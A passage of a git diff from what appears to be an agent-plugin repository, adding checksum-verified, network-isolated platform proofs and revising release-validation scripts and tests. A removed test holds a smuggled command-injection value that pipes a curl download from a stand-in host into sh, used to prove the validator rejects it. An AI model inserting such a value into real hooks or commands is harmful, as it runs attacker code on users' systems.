"candidate.checksums.json", + "--target", + "windows-x64", + "--fixture-acknowledged", + ]), + ).toThrow("unsupported target") +}) + +test("host identity maps only supported Darwin and Linux architectures", () => { + expect(currentRuntimeTarget("darwin", "arm64")).toBe("darwin-arm64") + expect(currentRuntimeTarget("darwin", "x64")).toBe("darwin-x64") + expect(currentRuntimeTarget("linux", "arm64")).toBe("linux-arm64") + expect(currentRuntimeTarget("linux", "x64")).toBe("linux-x64") + expect(currentRuntimeTarget("win32", "x64")).toBeUndefined() +}) + +test("skill runs use kernel-enforced network isolation on each supported host", () => { + expect(networkIsolatedCommand(["/plugin/bin/skill-a"], "darwin", 501, 20)).toEqual([ + "/usr/bin/sandbox-exec", + "-p", + "(version 1) (allow default) (deny network*)", + "/plugin/bin/skill-a", + ]) + expect(networkIsolatedCommand(["/plugin/bin/skill-a"], "linux", 1001, 1001)).toEqual([ + "/usr/bin/sudo", + "-n", + "--preserve-env=HOME,XDG_CACHE_HOME,PATH", + "/usr/bin/unshare", + "--net", + "--setuid=1001", + "--setgid=1001", + "--", + "/plugin/bin/skill-a", + ]) +}) + +test.each([ + [ + "plugin CI", + ".github/workflows/plugin-ci.yml", + "Build candidate once", + "runtime-candidate-${{ github.sha }}", + ], + [ + "release", + ".github/workflows/release.yml", + "Build release candidate once", + "release-platform-candidate-${{ github.run_id }}", + ], +] as const)("%s builds once and proves the same candidate on every target", (_name, path, jobName, artifact) => { + const workflow = readFileSync(resolve(root, path), "utf8") + const candidateJob = workflow.slice( + workflow.indexOf("\n candidate:\n"), + workflow.indexOf("\n compatibility:\n"), + ) + expect(workflow).toContain(`name: ${jobName}`) + expect(candidateJob).toContain("persist-credentials: false") + expect(workflow).toContain(artifact) + expect(workflow).toContain("bun run prove:runtime-platform") + expect(workflow).toContain("--fixture-acknowledged") + expect(workflow.match(/--dir "\$RUNNER_TEMP\/platform-candidate"/g)).toHaveLength(2) + expect(workflow).toContain('find "$RUNNER_TEMP/platform-candidate"') + expect(workflow).toContain('cmp --silent "$candidate_archive" "$rebuilt_archive"') + expect(workflow).toContain('cmp --silent "$candidate_checksums" "$rebuilt_checksums"') + for (const target of ["linux-x64", "linux-arm64", "darwin-arm64", "darwin-x64"]) { + expect(workflow).toContain(`target: ${target}`) + } +}) + +test("platform proof isolates HOME from the cache whose cold-run emptiness it asserts", () => { + const source = readFileSync(resolve(root, "scripts/prove-runtime-platform.ts"), "utf8") + expect(source).toContain('const homeRoot = join(isolationRoot, "home")') + expect(source).toContain("HOME: homeRoot") + expect(source).toContain("XDG_CACHE_HOME: cacheRoot") + expect(source).toContain("readdirSync(cacheRoot).length !== 0") +}) diff --git a/scripts/prove-runtime-platform.ts b/scripts/prove-runtime-platform.ts new file mode 100644 index 0000000..4ded629 --- /dev/null +++ b/scripts/prove-runtime-platform.ts @@ -0,0 +1,282 @@ +import { + chmodSync, + mkdirSync, + mkdtempSync, + readFileSync, + readdirSync, + realpathSync, + rmSync, + statSync, +} from "node:fs" +import { tmpdir } from "node:os" +import { basename, join, resolve } from "node:path" + +import { compareCodeUnits, payloadInventorySha256 } from "./plugin-files" +import { requireProofControlEnvelope } from "./proof-control-envelope" +import { SUPPORTED_RUNTIME_PLATFORMS } from "./runtime-custody-config" + +interface PlatformProofOptions { + archive: string + checksums: string + target: string + fixtureAcknowledged: true +} + +export function currentRuntimeTarget( + platform = process.platform, + arch = process.arch, +): string | undefined { + if (platform !== "darwin" && platform !== "linux") return undefined + if (arch !== "arm64" && arch !== "x64") return undefined + return `${platform}-${arch}` +} + +function optionValue(arguments_: string[], name: string): string { + const index = arguments_.indexOf(name) + const value = index === -1 ? undefined : arguments_[index + 1] + if (!value || value.startsWith("--")) throw new Error(`${name} is required`) + return value +} + +export function parsePlatformProofOptions(arguments_: string[]): PlatformProofOptions { + const supported = new Set([ + "--archive", + "--checksums", + "--target", + "--fixture-acknowledged", + ]) + for (let index = 0; index < arguments_.length; index += 1) { + const argument = arguments_[index] + if (!supported.has(argument)) throw new Error(`unknown option: ${argument}`) + if (argument !== "--fixture-acknowledged") index += 1 + } + if (!arguments_.includes("--fixture-acknowledged")) { + throw new Error("--fixture-acknowledged is required before repair --apply") + } + const target = optionValue(arguments_, "--target") + if (!(SUPPORTED_RUNTIME_PLATFORMS as readonly string[]).includes(target)) { + throw new Error(`unsupported target: ${target}`) + } + return { + archive: resolve(optionValue(arguments_, "--archive")), + checksums: resolve(optionValue(arguments_, "--checksums")), + target, + fixtureAcknowledged: true, + } +} + +function sha256(bytes: Uint8Array): string { + return new Bun.CryptoHasher("sha256").update(bytes).digest("hex") +} + +function regularFiles(root: string): string[] { + const files: string[] = [] + function walk(directory: string, prefix: string): void { + for (const entry of readdirSync(directory, { withFileTypes: true }).sort((a, b) => + compareCodeUnits(a.name, b.name), + )) { + const relativePath = prefix ? `${prefix}/${entry.name}` : entry.name + if (entry.isDirectory()) walk(join(directory, entry.name), relativePath) + else if (entry.isFile()) files.push(relativePath) + else throw new Error(`extracted payload contains a non-regular entry: ${relativePath}`) + } + } + walk(root, "") + return files +} + +function payloadDigest(root: string): string { + return payloadInventorySha256(root, regularFiles(root)) +} + +export function networkIsolatedCommand( + command: string[], + platform = process.platform, + uid = process.getuid?.(), + gid = process.getgid?.(), +): string[] { + if (platform === "darwin") { + return [ + "/usr/bin/sandbox-exec", + "-p", + "(version 1) (allow default) (deny network*)", + ...command, + ] + } + if (platform === "linux" && uid !== undefined && gid !== undefined) { + return [ + "/usr/bin/sudo", + "-n", + "--preserve-env=HOME,XDG_CACHE_HOME,PATH", + "/usr/bin/unshare", + "--net", + `--setuid=${uid}`, + `--setgid=${gid}`, + "--", + ...command, + ] + } + throw new Error(`network isolation is unsupported on ${platform}`) +} + +function runLauncher( + launcher: string, + arguments_: string[], + cwd: string, + homeRoot: string, + cacheRoot: string, + networkDenied: boolean, +): ReturnType { + const command = [launcher, ...arguments_] + return Bun.spawnSync({ + cmd: networkDenied ? networkIsolatedCommand(command) : command, + cwd, + env: { + HOME: homeRoot, + XDG_CACHE_HOME: cacheRoot, + PATH: "/usr/bin:/bin:/usr/local/bin:/opt/homebrew/bin", + }, + stdin: "ignore", + stdout: "pipe", + stderr: "pipe", + timeout: 180_000, + }) +} + +export function proveRuntimePlatform(options: PlatformProofOptions): Record { + const actualTarget = currentRuntimeTarget() + if (actualTarget !== options.target) { + throw new Error(`target ${options.target} does not match host ${actualTarget ?? "unsupported"}`) + } + const checksums = JSON.parse(readFileSync(options.checksums, "utf8")) as Record + const archiveBytes = readFileSync(options.archive) + if ( + checksums.archive !== basename(options.archive) || + checksums.archiveBytes !== archiveBytes.byteLength || + checksums.archiveSha256 !== sha256(archiveBytes) + ) { + throw new Error("candidate archive does not match checksum metadata") + } + + const isolationRoot = realpathSync(mkdtempSync(join(tmpdir(), `runtime-platform-${options.target}-`))) + chmodSync(isolationRoot, 0o700) + const extractedRoot = join(isolationRoot, "extracted") + const homeRoot = join(isolationRoot, "home") + const cacheRoot = join(isolationRoot, "cache") + mkdirSync(extractedRoot, { mode: 0o700 }) + mkdirSync(homeRoot, { mode: 0o700 }) + mkdirSync(cacheRoot, { mode: 0o700 }) + try { + const extract = Bun.spawnSync({ + cmd: ["tar", "-xzf", options.archive, "-C", extractedRoot], + stdout: "pipe", + stderr: "pipe", + }) + if (extract.exitCode !== 0) throw new Error(`candidate extraction failed: ${extract.stderr}`) + const roots = readdirSync(extractedRoot) + if (roots.length !== 1) throw new Error("candidate archive must contain exactly one plugin root") + const pluginRoot = join(extractedRoot, roots[0]) + if (checksums.payloadInventorySha256 !== payloadDigest(pluginRoot)) { + throw new Error("extracted payload inventory does not match checksum metadata") + } + if ( + checksums.bundleInventorySha256 !== + sha256(readFileSync(join(pluginRoot, "runtime", "bundle-inventory.json"))) + ) { + throw new Error("extracted bundle inventory does not match checksum metadata") + } + + const skillA = join(pluginRoot, "bin", "skill-a") + const skillB = join(pluginRoot, "bin", "skill-b") + const engine = join(pluginRoot, "runtime", "runtime-exec") + const missing = requireProofControlEnvelope( + "cold run", + runLauncher(skillA, [], pluginRoot, homeRoot, cacheRoot, false), + 20, + "BUN_MISSING", + ) + if (missing.sideEffects.length !== 0 || readdirSync(cacheRoot).length !== 0) { + throw new Error("cold run mutated the isolated cache") + } + const preview = requireProofControlEnvelope( + "repair preview", + runLauncher(engine, ["repair"], pluginRoot, homeRoot, cacheRoot, false), + 0, + "REPAIR_PREVIEW", + ) + if (!preview.nextAction.includes("Ask the user to approve") || preview.sideEffects.length !== 0) { + throw new Error("repair preview does not preserve the human-approval boundary") + } + const applied = requireProofControlEnvelope( + "acknowledged repair apply", + runLauncher(engine, ["repair", "--apply"], pluginRoot, homeRoot, cacheRoot, false), + 0, + "REPAIR_APPLIED", + ) + const executableSha256 = applied.runtime?.executableSha256 + if (typeof executableSha256 !== "string") { + throw new Error("repair receipt omitted the verified executable identity") + } + const runtimePath = join(cacheRoot, "agent-plugin-runtime", "bun", executableSha256, "bun") + if (!statSync(runtimePath).isFile() || sha256(readFileSync(runtimePath)) !== executableSha256) { + throw new Error("published runtime bytes do not match the repair receipt") + } + + const first = runLauncher(skillA, [], pluginRoot, homeRoot, cacheRoot, true) + if (first.exitCode !== 0) { + throw new Error( + `skill-a failed after repair (exit ${first.exitCode}): ${first.stderr.toString() || first.stdout.toString()}`, + ) + } + const firstResult = JSON.parse(first.stdout.toString()) + if (firstResult.skill !== "skill-a" || firstResult.esmDependency !== "skillAOfflineProof") { + throw new Error("skill-a returned the wrong packaged dependency proof") + } + const warm = runLauncher(skillB, [], pluginRoot, homeRoot, cacheRoot, true) + if (warm.exitCode !== 0) { + throw new Error( + `warm skill-b failed (exit ${warm.exitCode}): ${warm.stderr.toString() || warm.stdout.toString()}`, + ) + } + const warmResult = JSON.parse(warm.stdout.toString()) + if (warmResult.skill !== "skill-b" || warmResult.cjsDependencyDuration !== "2 hours") { + throw new Error("skill-b returned the wrong warm dependency proof") + } + + return { + ok: true, + client: "platform-ci", + target: options.target, + repository: checksums.repository, + sourceCommit: checksums.sourceCommit, + pluginVersion: checksums.version, + archiveSha256: checksums.archiveSha256, + runtimeLockSha256: checksums.runtimeLockSha256, + bundleInventorySha256: checksums.bundleInventorySha256, + payloadInventorySha256: checksums.payloadInventorySha256, + runtime: { version: applied.runtime?.version, executableSha256 }, + journey: ["BUN_MISSING", "REPAIR_PREVIEW", "REPAIR_APPLIED", "skill-a", "warm-skill-b"], + fixtureAcknowledged: options.fixtureAcknowledged, + networkDeniedForSkillRuns: true, + } + } finally { + rmSync(isolationRoot, { recursive: true, force: true }) + } +} + +if (import.meta.main) { + try { + console.log(JSON.stringify(proveRuntimePlatform(parsePlatformProofOptions(process.argv.slice(2))))) + } catch (error) { + console.error( + JSON.stringify({ + ok: false, + category: "runtime-platform-proof", + message: error instanceof Error ? error.message : String(error), + retrySafe: false, + nextAction: "Fix candidate or target evidence, then rerun the same platform proof.", + }), + ) + process.exit(1) + } +} diff --git a/scripts/quickjs-spike.ts b/scripts/quickjs-spike.ts deleted file mode 100644 index e76f57e..0000000 --- a/scripts/quickjs-spike.ts +++ /dev/null @@ -1,144 +0,0 @@ -import { mkdirSync, readFileSync, statSync } from "node:fs" -import { join, resolve } from "node:path" - -const root = resolve(import.meta.dir, "..") -const sourceRoot = join(root, "runtime", "src") -const pluginRuntime = join(root, "plugin", "runtime") -const developmentRoot = join(root, ".dev", "quickjs-compatibility") - -interface Asset { - file: string - sha256: string - bytes: number -} - -interface AssetManifest { - version: string - assets: Record -} - -interface SpikeState { - question: string - host: string - quickjsVersion: string - asset: string - verifiedDigest: boolean - bundleBytes: number - runtimeBytes: number - helloEquivalent: boolean - hookEquivalent: boolean - verdict: "compatible" | "incompatible" -} - -function hostKey(): string { - const operatingSystem = process.platform === "darwin" ? "darwin" : process.platform - const architecture = process.arch === "arm64" ? "arm64" : "x64" - return `${operatingSystem}-${architecture}` -} - -function run( - command: string[], - standardInput = "", -): { exitCode: number; stdout: string; stderr: string } { - const process_ = Bun.spawnSync({ - cmd: command, - cwd: root, - env: { ...process.env, HELLO_WORLD_RUN_ID: "compatibility-proof" }, - stdin: Buffer.from(standardInput), - stdout: "pipe", - stderr: "pipe", - }) - return { - exitCode: process_.exitCode, - stdout: process_.stdout.toString(), - stderr: process_.stderr.toString(), - } -} - -async function prove(): Promise { - const manifest = JSON.parse( - readFileSync(join(pluginRuntime, "quickjs-assets.json"), "utf8"), - ) as AssetManifest - const asset = manifest.assets[hostKey()] - if (!asset) throw new Error(`portable runtime does not support ${hostKey()}`) - const quickjsPath = join(pluginRuntime, asset.file) - const quickjsBytes = readFileSync(quickjsPath) - const digest = new Bun.CryptoHasher("sha256").update(quickjsBytes).digest("hex") - if (digest !== asset.sha256) throw new Error(`QuickJS digest mismatch for ${asset.file}`) - - const productionBuild = Bun.spawnSync({ - cmd: ["bun", "run", "build"], - cwd: root, - stdout: "ignore", - stderr: "inherit", - }) - if (productionBuild.exitCode !== 0) process.exit(productionBuild.exitCode) - - mkdirSync(developmentRoot, { recursive: true }) - const bunBuild = await Bun.build({ - entrypoints: [join(sourceRoot, "bun-proof-adapter.ts")], - outdir: developmentRoot, - naming: "hello-world.bun.js", - target: "bun", - format: "esm", - minify: true, - }) - if (!bunBuild.success) { - for (const log of bunBuild.logs) console.error(log) - process.exit(1) - } - - const bunBundle = join(developmentRoot, "hello-world.bun.js") - const quickjsBundle = join(pluginRuntime, "hello-world.js") - const helloArguments = ["hello", "--name", "plugin", "--json"] - const bunHello = run(["bun", bunBundle, ...helloArguments]) - const quickjsHello = run([quickjsPath, "--std", quickjsBundle, ...helloArguments]) - const hookArguments = ["hook", "--harness", "codex", "--event", "SessionStart"] - const hookInput = '{"session_id":"quickjs-compatibility"}\n' - const bunHook = run(["bun", bunBundle, ...hookArguments], hookInput) - const quickjsHook = run([quickjsPath, "--std", quickjsBundle, ...hookArguments], hookInput) - - const helloEquivalent = JSON.stringify(bunHello) === JSON.stringify(quickjsHello) - const hookEquivalent = JSON.stringify(bunHook) === JSON.stringify(quickjsHook) - return { - question: "Can Bun-authored command and hook contracts run unchanged under QuickJS?", - host: hostKey(), - quickjsVersion: manifest.version, - asset: asset.file, - verifiedDigest: true, - bundleBytes: statSync(quickjsBundle).size, - runtimeBytes: statSync(quickjsPath).size, - helloEquivalent, - hookEquivalent, - verdict: helloEquivalent && hookEquivalent ? "compatible" : "incompatible", - } -} - -function render(state: SpikeState): void { - console.clear() - console.log("\u001b[1mQuickJS compatibility proof\u001b[0m") - console.log(`\u001b[2m${state.question}\u001b[0m\n`) - for (const [key, value] of Object.entries(state)) { - if (key === "question") continue - console.log(`\u001b[1m${key}\u001b[0m: ${value}`) - } - console.log("\n\u001b[1mr\u001b[0m rerun \u001b[1mq\u001b[0m quit") -} - -let state = await prove() -if (process.argv.includes("--ci") || !process.stdin.isTTY) { - console.log(JSON.stringify(state)) - process.exit(state.verdict === "compatible" ? 0 : 1) -} - -render(state) -process.stdin.setRawMode(true) -process.stdin.resume() -process.stdin.on("data", async (bytes) => { - const key = bytes.toString() - if (key === "q" || key === "\u0003") process.exit(0) - if (key === "r") { - state = await prove() - render(state) - } -}) diff --git a/scripts/release-impact.test.ts b/scripts/release-impact.test.ts index dee0e83..637dc6a 100644 --- a/scripts/release-impact.test.ts +++ b/scripts/release-impact.test.ts @@ -18,6 +18,10 @@ describe("release impact", () => { ["chore: refresh runtime assets", "plugin/runtime/quickjs-assets.json"], ["refactor: reshape the manifest", "plugin/.codex-plugin/plugin.json"], ["chore: refresh the marketplace", ".agents/plugins/marketplace.json"], + ["chore: tweak the skill source", "packages/skill-a/src/main.ts"], + ["chore: update the skill manifest", "packages/skill-b/package.json"], + ["chore: refresh the lockfile", "bun.lock"], + ["chore: tune the install config", "bunfig.toml"], ] as const for (const [title, path] of nonReleasablePayloadChanges) { @@ -79,14 +83,33 @@ describe("release impact", () => { }) }) + test("treats runtime lock and catalog bumps as payload impact under fix title", () => { + const result = classifyReleaseImpact({ + title: "fix: bump the pinned runtime lock", + changedFiles: [ + { path: "runtime/runtime.lock.json" }, + { path: "runtime/skill-catalog.json" }, + ], + }) + + expect(result).toMatchObject({ + payloadChanged: true, + isReleasePleaseProjection: false, + titleIsReleasable: true, + ok: true, + changedPayloadPaths: [ + "runtime/runtime.lock.json", + "runtime/skill-catalog.json", + ], + }) + }) + test("exempts the exact Release Please version and changelog projection", () => { const projection = [ "plugin.config.json", ".claude-plugin/marketplace.json", "plugin/.claude-plugin/plugin.json", "plugin/.codex-plugin/plugin.json", - "plugin/runtime/hello-world.js", - "plugin/hooks/codex/hooks.json", ".github/.release-please-manifest.json", "CHANGELOG.md", ].map((path) => ({ path, versionOnly: true })) @@ -116,8 +139,6 @@ describe("release impact", () => { ".claude-plugin/marketplace.json", "plugin/.claude-plugin/plugin.json", "plugin/.codex-plugin/plugin.json", - "plugin/runtime/hello-world.js", - "plugin/hooks/codex/hooks.json", ".github/.release-please-manifest.json", "CHANGELOG.md", ].map((path) => ({ path, versionOnly: true })) @@ -228,19 +249,19 @@ describe("release impact", () => { }) }) - test("recognizes generated hook and runtime version markers", () => { + test("generated runtime bundles are not release-version projections", () => { expect( isReleasePleaseVersionOnlyChange( "plugin/hooks/codex/hooks.json", - '{"command":"hello --plugin-version 1.2.2 # x-release-please-version"}', - '{"command":"hello --plugin-version 1.2.3 # x-release-please-version"}', + '{"command":"old"}', + '{"command":"new"}', ), - ).toBe(true) + ).toBe(false) expect( isReleasePleaseVersionOnlyChange( "plugin/runtime/hello-world.js", - 'const PLUGIN_VERSION = "1.2.2";\nrunOld()', - 'const PLUGIN_VERSION = "1.2.3";\nrunNew()', + "runOld()", + "runNew()", ), ).toBe(false) }) diff --git a/scripts/release-impact.ts b/scripts/release-impact.ts index 4df4b1f..ac367dd 100644 --- a/scripts/release-impact.ts +++ b/scripts/release-impact.ts @@ -3,6 +3,8 @@ const generatedPayloadPaths = new Set([ ".agents/plugins/marketplace.json", ".claude-plugin/marketplace.json", "plugin.config.json", + "runtime/runtime.lock.json", + "runtime/skill-catalog.json", ]) import { RELEASE_PROJECTION_PATH_SET, @@ -103,6 +105,9 @@ function isPayloadPath(path: string): boolean { return ( path.startsWith("plugin/") || path.startsWith("runtime/src/") || + path.startsWith("packages/") || + path === "bun.lock" || + path === "bunfig.toml" || generatedPayloadPaths.has(path) ) } diff --git a/scripts/release-projection.test.ts b/scripts/release-projection.test.ts index 5faf836..f96e472 100644 --- a/scripts/release-projection.test.ts +++ b/scripts/release-projection.test.ts @@ -31,24 +31,13 @@ test("one projection policy accepts version-only changes and rejects behavioral ).toThrow("unsupported path") }) -test("Codex hook projection admits only a bare semantic version before its marker", () => { - const before = '{"command":"hello --plugin-version 0.1.0 # x-release-please-version"}' - const after = '{"command":"hello --plugin-version 0.2.0 # x-release-please-version"}' - const injected = - '{"command":"hello --plugin-version 0.2.0;curl$IFS-sSLo/tmp/p$IFShttps://example.invalid/p|sh # x-release-please-version"}' - - expect( - validateReleaseProjection( - [{ filename: "plugin/hooks/codex/hooks.json", status: "modified" }], - () => ({ before, after }), - ).changedFiles, - ).toEqual(["plugin/hooks/codex/hooks.json"]) +test("runtime hook files are outside the release projection", () => { expect(() => validateReleaseProjection( [{ filename: "plugin/hooks/codex/hooks.json", status: "modified" }], - () => ({ before, after: injected }), + () => ({ before: "{}", after: "{}" }), ), - ).toThrow("release projection changed non-version behavior") + ).toThrow("unsupported path") }) test("changelog projection prepends exactly one current-version section", () => { @@ -146,5 +135,5 @@ test("projection CLI executes the same policy against Git refs", () => { ok: true, changedFiles: ["plugin.config.json"], }) - expect(RELEASE_PROJECTION_PATHS).toContain("plugin/runtime/hello-world.js") + expect(RELEASE_PROJECTION_PATHS).not.toContain("plugin/runtime/hello-world.js") }) diff --git a/scripts/release-projection.ts b/scripts/release-projection.ts index 50a0e6f..0267653 100644 --- a/scripts/release-projection.ts +++ b/scripts/release-projection.ts @@ -12,8 +12,6 @@ export const RELEASE_PROJECTION_PATHS = [ "plugin.config.json", "plugin/.claude-plugin/plugin.json", "plugin/.codex-plugin/plugin.json", - "plugin/hooks/codex/hooks.json", - "plugin/runtime/hello-world.js", ] as const export const RELEASE_PROJECTION_PATH_SET = new Set(RELEASE_PROJECTION_PATHS) @@ -70,25 +68,6 @@ export function isReleaseProjectionVersionOnlyChange( const version = match?.[1] ?? match?.[2] return version !== undefined && (expectedVersion === undefined || version === expectedVersion) } - if (path === "plugin/hooks/codex/hooks.json") { - const normalize = (contents: string): string | undefined => { - const versionProjection = new RegExp( - `--plugin-version\\s+${SEMANTIC_VERSION}(?=\\s+# x-release-please-version)`, - "g", - ) - if (!versionProjection.test(contents)) return undefined - versionProjection.lastIndex = 0 - return contents.replace(versionProjection, "--plugin-version VERSION") - } - const normalizedBefore = normalize(before) - const normalizedAfter = normalize(after) - return normalizedBefore !== undefined && normalizedBefore === normalizedAfter - } - if (path === "plugin/runtime/hello-world.js") { - const normalize = (contents: string): string => - contents.replace(/const PLUGIN_VERSION = "[^"]+";/g, 'const PLUGIN_VERSION = "VERSION";') - return normalize(before) === normalize(after) - } const normalizedBefore = normalizedJsonVersion(path, before) const normalizedAfter = normalizedJsonVersion(path, after) return normalizedBefore !== undefined && normalizedBefore === normalizedAfter diff --git a/scripts/release-validate.test.ts b/scripts/release-validate.test.ts index 48a4c16..c70a136 100644 --- a/scripts/release-validate.test.ts +++ b/scripts/release-validate.test.ts @@ -62,8 +62,6 @@ const allowedProjection = [ "plugin.config.json", "plugin/.claude-plugin/plugin.json", "plugin/.codex-plugin/plugin.json", - "plugin/hooks/codex/hooks.json", - "plugin/runtime/hello-world.js", ] function releasePullRequest(overrides: Record = {}) { @@ -110,23 +108,6 @@ function writeSynchronizedVersion(repositoryRoot: string, version: string): void marketplace.metadata.version = version writeFileSync(marketplacePath, `${JSON.stringify(marketplace, null, 2)}\n`) - const runtimePath = join(repositoryRoot, "plugin", "runtime", "hello-world.js") - writeFileSync( - runtimePath, - readFileSync(runtimePath, "utf8").replace( - /const PLUGIN_VERSION = "\d+\.\d+\.\d+";/, - `const PLUGIN_VERSION = "${version}";`, - ), - ) - - const hooksPath = join(repositoryRoot, "plugin", "hooks", "codex", "hooks.json") - writeFileSync( - hooksPath, - readFileSync(hooksPath, "utf8").replaceAll( - /--plugin-version \d+\.\d+\.\d+ # x-release-please-version/g, - `--plugin-version ${version} # x-release-please-version`, - ), - ) } function writeReleasedMetadata( @@ -333,6 +314,13 @@ test("release workflow is pinned and publishes proven assets after validation", workflow.indexOf("\n maintain:\n"), workflow.indexOf("\n compatibility:\n"), ) + const candidateJob = workflow.slice( + workflow.indexOf("\n candidate:\n"), + workflow.indexOf("\n compatibility:\n"), + ) + expect(candidateJob).toContain(" permissions:\n actions: read\n contents: read\n") + expect(candidateJob).toContain("persist-credentials: false") + expect(workflow.match(/--dir "\$RUNNER_TEMP\/platform-candidate"/g)).toHaveLength(2) expect(maintainJob).toContain("persist-credentials: false") expect(maintainJob).toContain("group: release-maintenance") expect(maintainJob).toContain("id: bootstrap-version") @@ -597,6 +585,9 @@ test("AE3: publication binding agrees on candidate, immutable tag, package, rele sourceCommit: "a".repeat(40), tag: "v0.1.0", version: "0.1.0", + runtimeLockSha256: "b".repeat(64), + bundleInventorySha256: "c".repeat(64), + payloadInventorySha256: "d".repeat(64), }, }), ).toEqual(candidate) @@ -616,6 +607,9 @@ test("publication binding rejects an artifact proven from SHA A under a tag for sourceCommit: "a".repeat(40), tag: "v0.1.0", version: "0.1.0", + runtimeLockSha256: "b".repeat(64), + bundleInventorySha256: "c".repeat(64), + payloadInventorySha256: "d".repeat(64), }, }), ).toThrow("tag target") @@ -635,6 +629,9 @@ test("publication binding rejects a lookalike repository on another host", () => sourceCommit: "a".repeat(40), tag: "v0.1.0", version: "0.1.0", + runtimeLockSha256: "b".repeat(64), + bundleInventorySha256: "c".repeat(64), + payloadInventorySha256: "d".repeat(64), }, }), ).toThrow("GitHub repository") diff --git a/scripts/release-validate.ts b/scripts/release-validate.ts index a9900dd..ab45944 100644 --- a/scripts/release-validate.ts +++ b/scripts/release-validate.ts @@ -1,6 +1,7 @@ import { readFileSync } from "node:fs" import { join, resolve } from "node:path" +import { validateBunOnlyPayload } from "./build" import { RELEASE_PROJECTION_PATH_SET } from "./release-projection" const root = resolve(import.meta.dir, "..") @@ -105,6 +106,12 @@ export interface PublicationChecksumsBinding { tag: string /** Plugin manifest version. */ version: string + /** Canonical source runtime-lock digest. */ + runtimeLockSha256: string + /** Installed bundle-inventory digest. */ + bundleInventorySha256: string + /** Canonical path-and-byte digest of the complete plugin payload. */ + payloadInventorySha256: string } /** Complete pre-publication equality proof. */ @@ -338,6 +345,15 @@ export function validatePublicationBinding( ) { throw new Error("packaged GitHub repository does not match publication candidate") } + for (const field of [ + "runtimeLockSha256", + "bundleInventorySha256", + "payloadInventorySha256", + ] as const) { + if (!/^[a-f0-9]{64}$/.test(checksums[field])) { + throw new Error(`packaged ${field} is not a SHA-256 closure binding`) + } + } return candidate } @@ -390,15 +406,14 @@ function readJson(repositoryRoot: string, path: string): Record { } function validateRepository(repositoryRoot: string) { + validateBunOnlyPayload(repositoryRoot) const packageJson = readJson(repositoryRoot, "package.json") const pluginConfig = readJson(repositoryRoot, "plugin.config.json") const claudeMarketplace = readJson(repositoryRoot, ".claude-plugin/marketplace.json") const claudeManifest = readJson(repositoryRoot, "plugin/.claude-plugin/plugin.json") const codexManifest = readJson(repositoryRoot, "plugin/.codex-plugin/plugin.json") - const codexHooks = readJson(repositoryRoot, "plugin/hooks/codex/hooks.json") const releaseManifest = readJson(repositoryRoot, ".github/.release-please-manifest.json") const releaseConfig = readJson(repositoryRoot, ".github/release-please-config.json") - const generatedRuntime = readFileSync(join(repositoryRoot, "plugin/runtime/hello-world.js"), "utf8") const releaseWorkflow = readFileSync(join(repositoryRoot, ".github/workflows/release.yml"), "utf8") const changelog = readFileSync(join(repositoryRoot, "CHANGELOG.md"), "utf8") @@ -418,11 +433,8 @@ function validateRepository(repositoryRoot: string) { throw new Error(`${name} version ${String(actual)} does not match plugin.config.json ${version}`) } } - for (const event of ["SessionStart", "Stop"]) { - const command = codexHooks.hooks?.[event]?.[0]?.hooks?.[0]?.command - if (!String(command).includes(`--plugin-version ${version}`)) { - throw new Error(`generated Codex ${event} hook does not bind plugin version ${version}`) - } + if (claudeManifest.hooks !== undefined || codexManifest.hooks !== undefined) { + throw new Error("runtime lifecycle hooks must not be active in native manifests") } if (releaseState === "bootstrap") { @@ -473,8 +485,6 @@ function validateRepository(repositoryRoot: string) { ".claude-plugin/marketplace.json::$.metadata.version", "plugin/.claude-plugin/plugin.json::$.version", "plugin/.codex-plugin/plugin.json::$.version", - "plugin/hooks/codex/hooks.json::generic", - "plugin/runtime/hello-world.js::generic", ]) const configuredExtraFiles = new Set( (packageRelease?.["extra-files"] ?? []).map((entry: Record) => @@ -494,14 +504,6 @@ function validateRepository(repositoryRoot: string) { } } - for (const marker of [ - "x-release-please-start-version", - `const PLUGIN_VERSION = ${JSON.stringify(version)};`, - "x-release-please-end", - ]) { - if (!generatedRuntime.includes(marker)) throw new Error(`generated runtime is missing ${marker}`) - } - const actionReferences = [...releaseWorkflow.matchAll(/uses: [^@\s]+@([^\s]+)/g)].map( (match) => match[1], ) @@ -520,7 +522,7 @@ function validateRepository(repositoryRoot: string) { "scripts/release-projection.ts", 'expectedTagState:"absent"', "bun run prove:all", - "git diff --exit-code -- plugin/runtime/hello-world.js plugin/hooks/codex/hooks.json", + "git diff --exit-code -- plugin/", "ubuntu-24.04-arm", "macos-15-intel", "SOURCE_COMMIT", @@ -543,6 +545,10 @@ function validateRepository(repositoryRoot: string) { "group: release-maintenance", "group: release-publication-${{ needs.resolve.outputs.release_tag }}", "release-candidate-${{ github.run_id }}", + "release-platform-candidate-${{ github.run_id }}", + "bun run prove:runtime-platform", + "--fixture-acknowledged", + 'cmp --silent "$candidate_archive" "$rebuilt_archive"', "overwrite: true", "environment: release", "gh attestation verify", @@ -606,7 +612,6 @@ function validateRepository(repositoryRoot: string) { npmPublicationRequired: false, versionSurfaces: [ ...versionSurfaces.map(([name]) => name), - "generated Codex hook definition", ...(releaseState === "released" ? ["release-please manifest"] : []), ], } diff --git a/scripts/runtime-custody-config.test.ts b/scripts/runtime-custody-config.test.ts new file mode 100644 index 0000000..f9229b4 --- /dev/null +++ b/scripts/runtime-custody-config.test.ts @@ -0,0 +1,288 @@ +import { + chmodSync, + existsSync, + mkdirSync, + mkdtempSync, + readFileSync, + rmSync, + writeFileSync, +} from "node:fs" +import { tmpdir } from "node:os" +import { join } from "node:path" + +import { afterEach, expect, test } from "bun:test" + +import { loadSkillCatalog, renderRuntimeCustodyFiles } from "./runtime-custody-config" + +const root = new URL("..", import.meta.url).pathname.replace(/\/$/, "") +const temporaryRoots: string[] = [] + +afterEach(() => { + for (const temporaryRoot of temporaryRoots.splice(0)) { + rmSync(temporaryRoot, { recursive: true, force: true }) + } +}) + +// biome-ignore lint/suspicious/noExplicitAny: fixtures mutate arbitrary JSON fields +function custodyFixture(mutate: (lock: any, catalog: any) => void): string { + const fixtureRoot = mkdtempSync(join(tmpdir(), "custody-config-")) + temporaryRoots.push(fixtureRoot) + mkdirSync(join(fixtureRoot, "runtime"), { recursive: true }) + const lock = JSON.parse(readFileSync(join(root, "runtime", "runtime.lock.json"), "utf8")) + const catalog = JSON.parse(readFileSync(join(root, "runtime", "skill-catalog.json"), "utf8")) + mutate(lock, catalog) + writeFileSync( + join(fixtureRoot, "runtime", "runtime.lock.json"), + `${JSON.stringify(lock, null, 2)}\n`, + ) + writeFileSync( + join(fixtureRoot, "runtime", "skill-catalog.json"), + 